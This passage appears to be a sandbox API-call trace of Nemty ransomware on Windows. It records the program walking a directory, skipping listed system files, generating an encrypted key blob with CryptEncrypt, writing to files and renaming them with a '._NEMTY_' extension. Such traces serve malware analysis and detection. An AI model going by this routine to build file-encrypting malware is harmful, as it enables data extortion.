WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_m.png", lpUsedDefaultChar=0x0) returned 11 [0115.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_m.png", lpUsedDefaultChar=0x0) returned 11 [0115.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_m.png", lpUsedDefaultChar=0x0) returned 11 [0115.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0115.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0115.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0115.579] Sleep (dwMilliseconds=0x5) [0115.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf88bd170, dwHighDateTime=0x1d561e7)) [0115.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf88bd170, dwHighDateTime=0x1d561e7)) [0115.598] GetLastError () returned 0x5 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0115.599] GetLastError () returned 0x5 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.599] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0115.599] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0115.599] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0115.599] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="GO23t3ygLO6L/O+X4ihujPnsZmQ0YRzQ8P6BWxl4V19tQxqOyb7zze7MbK0Qsg71\r\n2XsbZjQ/FcMAawQX7G9xja1tPaVxFgH9xqhsqE8mxW4cOA2EGF/P66VG5zRYb9Gu\r\nyqH396sW5fhBRayz6HH/vVnLOOI+lJKXn7ESKbZMct+OuVz+HtG7+TvHgWotSZMN\r\nrVPfY3XDqlRMnkiMzGYMCT/2eSKl6KGK00EUyPfYqaKSc8iiTKEKEo1jvdw+Nzi/\r\nfB+JT75ve9o3tJUbb/cYOrSdDO12O0FUSwTwhAo1lqhHxfTgsG2BPtAgoSrnXATA\r\nJxd5pAdvikBw2RYwnrI5YA==\r\n", pcchString=0x653e91c) returned 1 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0115.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0115.599] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.599] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0115.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0115.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0115.706] CloseHandle (hObject=0xffffffff) returned 0 [0115.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0115.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0115.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0115.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0115.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0115.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0115.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_m.png._nemty_kgobjgd_")) returned 0 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0115.707] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82921012, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82921012, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x286445e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="diner_s.png", cAlternateFileName="")) returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2=".") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="..") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="...") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="windows") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="$RECYCLE.BIN") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="rsa") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="NTDETECT.COM") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="ntldr") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="MSDOS.SYS") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="IO.SYS") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="boot.ini") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="boot.ini") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="ntuser.dat") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="desktop.ini") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="CONFIG.SYS") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="RECYCLER") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="BOOTSECT.BAK") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="bootmgr") returned 1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="programdata") returned -1 [0115.707] lstrcmpiW (lpString1="diner_s.png", lpString2="appdata") returned 1 [0115.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_s.png", lpUsedDefaultChar=0x0) returned 11 [0115.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_s.png", lpUsedDefaultChar=0x0) returned 11 [0115.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_s.png", lpUsedDefaultChar=0x0) returned 11 [0115.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_s.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_s.png", lpUsedDefaultChar=0x0) returned 11 [0115.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0115.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0115.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0115.708] Sleep (dwMilliseconds=0x5) [0115.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf89edc70, dwHighDateTime=0x1d561e7)) [0115.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf89edc70, dwHighDateTime=0x1d561e7)) [0115.733] GetLastError () returned 0x5 [0115.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0115.733] GetLastError () returned 0x5 [0115.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0115.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0115.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, 